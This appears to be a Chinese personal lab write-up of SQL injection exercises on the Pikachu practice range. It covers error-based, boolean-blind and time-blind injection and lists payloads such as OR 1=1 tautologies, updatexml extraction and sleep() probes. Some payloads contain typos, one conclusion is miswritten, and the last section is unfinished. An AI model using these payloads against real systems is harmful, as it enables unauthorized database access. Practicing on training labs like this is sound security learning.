pikachu靶场之SQL注入
0x00 前言
手工注入忘的差不多了。。。还是需要多多练习
以下关卡都是稍微测以下存不存在sql注入，查下数据库名啥的
没有将所有字段都爆出来。
冲鸭~
0x01 数字型注入(post)
因为是数字型，直接在后面加上真命题，不需要加单引号测试
0x02 字符型注入(get)
加单引号报错，说明存在sql注入
再加上真命题查询到all
0x03 搜索型注入
加单引号，sql语句报错
Payload:
li’ or 1=1 --+
加上真命题回显all
Payload:
li' and length(database())=7 --+
测得数据库长度为7时正常回显
说明数据库长度为7
测数据库名
and ascii(substr(database(),x,1))=n
X:库名第几位（1-7）
N:该位对应的ascii码值
对n进行爆破（65-122）
最后得到数据库名：pikachu
0x04 xx型注入
加单引号
0x05 insert/update注入
1.insert注入
测试模块：注册处
令用户名为quan’
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or'
2.Update注入
先登录进去，然后在修改资料处填写信息抓包
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or'
0x06 delete注入
先留言，点击删除时抓包
Payload：
62 or updatexml (1,concat(0x7e,datebase()),0)
在bp中Ctrl+U 对payload进行url编码
0x07 http header注入
1.UA头
Payload：
1' or updatexml (1,concat(0x7e,datebase()),0) or '
2.COOKIE
cookie中的admin也是一个注入点
0x08 盲注(base on boolian)
只有加and 1=1#才能返回个人信息，or 1=1#都报错：您输入的username不存在，请重新输入！
利用and 1=1构造payload
Payload：
kobe' and ascii(substr(database(),1,1))=112#
0x09 盲注(base on time)
payload:
kobe’ and sleep(5)#
可以看到时间线是5s,说明存在基于时间的盲注
Payload：
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
此时1ms就返回结果,说明数据库名第一位不是a
将a改为p,则一直不返回结果
说明数据库名第一位不是a
0x10 宽字节注入
emmmm还没写出来，下次吧
先下班了，肥宅大哭